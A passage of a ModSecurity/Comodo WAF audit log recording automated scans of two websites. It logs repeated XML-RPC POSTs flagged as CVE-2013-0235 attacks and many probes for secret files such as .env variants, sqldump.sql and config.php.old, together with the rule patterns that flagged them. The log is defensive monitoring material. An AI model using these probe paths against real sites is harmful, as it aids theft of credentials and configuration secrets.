p5=67, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e72be2f-Z-- --a4725d3e-A-- [16/Jun/2025:05:10:11.977077 +0530] aE9Z25bumDYPKpRD2ekuGgAAAAA 128.199.112.101 51504 127.0.0.1 7081 --a4725d3e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a4725d3e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a4725d3e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Z25bumDYPKpRD2ekuGgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030811061806 915344 (- - -) Stopwatch2: 1750030811061806 915344; combined=2249, p1=374, p2=1361, p3=58, p4=81, p5=231, sr=108, sw=144, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a4725d3e-Z-- --f6613103-A-- [16/Jun/2025:05:10:12.424929 +0530] aE9Z21u-mTBjBTNx-ySJYgAAAAk 185.177.72.210 51526 127.0.0.1 7081 --f6613103-B-- GET /sqldump.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f6613103-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ace2d825e3225676a5e2632c2268ae4e1750030812; expires=Mon, 16 Jun 2025 00:40:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f6613103-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/sqldump.sql"] [unique_id "aE9Z21u-mTBjBTNx-ySJYgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030811765052 659950 (- - -) Stopwatch2: 1750030811765052 659950; combined=1867, p1=258, p2=1498, p3=0, p4=0, p5=110, sr=75, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f6613103-Z-- --ba463d5f-A-- [16/Jun/2025:05:10:21.656350 +0530] aE9Z5LV9qKUox3X8g1YrJQAAAAg 185.177.72.210 50092 127.0.0.1 7081 --ba463d5f-B-- GET /examples/09-production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ba463d5f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3d77e2d4c9bbcbc6d77826334e7ce6f31750030821; expires=Mon, 16 Jun 2025 00:40:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ba463d5f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/09-production/.env"] [unique_id "aE9Z5LV9qKUox3X8g1YrJQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030820992876 663535 (- - -) Stopwatch2: 1750030820992876 663535; combined=2155, p1=415, p2=1638, p3=0, p4=0, p5=102, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ba463d5f-Z-- --9c9fb74f-A-- [16/Jun/2025:05:11:12.514372 +0530] aE9aF6pdvXW4_hknQUUvEgAAAAo 128.199.112.101 40084 127.0.0.1 7081 --9c9fb74f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9c9fb74f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9c9fb74f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9aF6pdvXW4_hknQUUvEgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030871581895 932564 (- - -) Stopwatch2: 1750030871581895 932564; combined=2203, p1=376, p2=1342, p3=53, p4=78, p5=221, sr=107, sw=133, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9c9fb74f-Z-- --c187a540-A-- [16/Jun/2025:05:11:23.514358 +0530] aE9aIlu-mTBjBTNx-ySJhgAAAAk 185.177.72.210 59928 127.0.0.1 7081 --c187a540-B-- GET /:5000/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c187a540-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=22652fa4636850396a69ff11c43589371750030883; expires=Mon, 16 Jun 2025 00:41:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c187a540-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/dev/.env"] [unique_id "aE9aIlu-mTBjBTNx-ySJhgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030882788261 726160 (- - -) Stopwatch2: 1750030882788261 726160; combined=2334, p1=521, p2=1714, p3=0, p4=0, p5=99, sr=135, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c187a540-Z-- --373ed575-A-- [16/Jun/2025:05:11:28.824644 +0530] aE9aKEoyC4_VyyL7sS6P9gAAAAI 185.177.72.210 60112 127.0.0.1 7081 --373ed575-B-- GET /admin/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --373ed575-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=76918af5eb7b0b443593a0ce3fb718f11750030888; expires=Mon, 16 Jun 2025 00:41:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --373ed575-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin/config.php.old"] [unique_id "aE9aKEoyC4_VyyL7sS6P9gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030888162486 662231 (- - -) Stopwatch2: 1750030888162486 662231; combined=1708, p1=349, p2=1267, p3=0, p4=0, p5=91, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --373ed575-Z-- --55ed6958-A-- [16/Jun/2025:05:11:33.327770 +0530] aE9aLH87s8ehggCfEuaz6AAAAAQ 185.177.72.210 38556 127.0.0.1 7081 --55ed6958-B-- GET /bak/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --55ed6958-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=99b44de6d0dc44e5e05935a4b5add20b1750030893; expires=Mon, 16 Jun 2025 00:41:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --55ed6958-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.prod"] [unique_id "aE9aLH87s8ehggCfEuaz6AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030892654989 672844 (- - -) Stopwatch2: 1750030892654989 672844; combined=1736, p1=359, p2=1293, p3=0, p4=0, p5=83, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --55ed6958-Z-- --c0784265-A-- [16/Jun/2025:05:11:40.892230 +0530] aE9aNH87s8ehggCfEuaz6wAAAAQ 185.177.72.210 58228 127.0.0.1 7081 --c0784265-B-- GET /:5601/journal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c0784265-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d06e6b0cbb389f39ae34ea62441a0df31750030900; expires=Mon, 16 Jun 2025 00:41:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c0784265-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/journal/.env"] [unique_id "aE9aNH87s8ehggCfEuaz6wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030900234663 657672 (- - -) Stopwatch2: 1750030900234663 657672; combined=2170, p1=330, p2=1724, p3=0, p4=0, p5=115, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c0784265-Z-- --d0bce922-A-- [16/Jun/2025:05:11:56.679731 +0530] aE9aRMalTF-TysO2fMOGhQAAAAE 185.177.72.210 38080 127.0.0.1 7081 --d0bce922-B-- GET /:8880/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d0bce922-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3e530a05d424fa380640ca2c3d2cfd7e1750030916; expires=Mon, 16 Jun 2025 00:41:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d0bce922-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.prod"] [unique_id "aE9aRMalTF-TysO2fMOGhQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030916023345 656493 (- - -) Stopwatch2: 1750030916023345 656493; combined=1969, p1=384, p2=1480, p3=0, p4=0, p5=104, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d0bce922-Z-- --33330258-A-- [16/Jun/2025:05:12:03.963541 +0530] aE9aS0oyC4_VyyL7sS6QBgAAAAI 185.177.72.210 36114 127.0.0.1 7081 --33330258-B-- GET /dataset2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --33330258-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c331fe8eddb17222db1e91cf33e58d2a1750030923; expires=Mon, 16 Jun 2025 00:42:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --33330258-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/dataset2/.env"] [unique_id "aE9aS0oyC4_VyyL7sS6QBgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030923303562 660043 (- - -) Stopwatch2: 1750030923303562 660043; combined=1826, p1=367, p2=1356, p3=0, p4=0, p5=102, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --33330258-Z-- --f16be97c-A-- [16/Jun/2025:05:12:12.010146 +0530] aE9aU1u-mTBjBTNx-ySJmgAAAAk 128.199.112.101 34862 127.0.0.1 7081 --f16be97c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f16be97c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f16be97c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9aU1u-mTBjBTNx-ySJmgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030931051766 958456 (- - -) Stopwatch2: 1750030931051766 958456; combined=2157, p1=395, p2=1379, p3=41, p4=59, p5=177, sr=117, sw=106, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f16be97c-Z-- --89b98505-A-- [16/Jun/2025:05:13:06.626763 +0530] aE9aiZbumDYPKpRD2ekubwAAAAA 185.177.72.210 41154 127.0.0.1 7081 --89b98505-B-- GET /:8181/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --89b98505-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8f3c8f07ae30ad3c237d073a191c347f1750030986; expires=Mon, 16 Jun 2025 00:43:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --89b98505-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.example"] [unique_id "aE9aiZbumDYPKpRD2ekubwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030985874953 751876 (- - -) Stopwatch2: 1750030985874953 751876; combined=1892, p1=439, p2=1320, p3=0, p4=0, p5=133, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --89b98505-Z-- --1d52085a-A-- [16/Jun/2025:05:13:08.755521 +0530] aE9ajOJpWMTxMA3Q4FXs3QAAAAU 185.177.72.210 41282 127.0.0.1 7081 --1d52085a-B-- GET /.gitignore HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1d52085a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=950013f745316e499ad48694275bc0c11750030988; expires=Mon, 16 Jun 2025 00:43:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1d52085a-H-- Message: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.gitignore"] [unique_id "aE9ajOJpWMTxMA3Q4FXs3QAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030988068945 686640 (- - -) Stopwatch2: 1750030988068945 686640; combined=1853, p1=343, p2=1386, p3=0, p4=0, p5=123, sr=78, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1d52085a-Z-- --3a108a2e-A-- [16/Jun/2025:05:13:11.487148 +0530] aE9ajlu-mTBjBTNx-ySJtgAAAAk 185.177.72.210 44120 127.0.0.1 7081 --3a108a2e-B-- GET /fisdom/fisdom/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3a108a2e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8935c140a9c8de35beb283f7f5a0d61f1750030991; expires=Mon, 16 Jun 2025 00:43:11 GMT; Max-Age=3600; path=/; 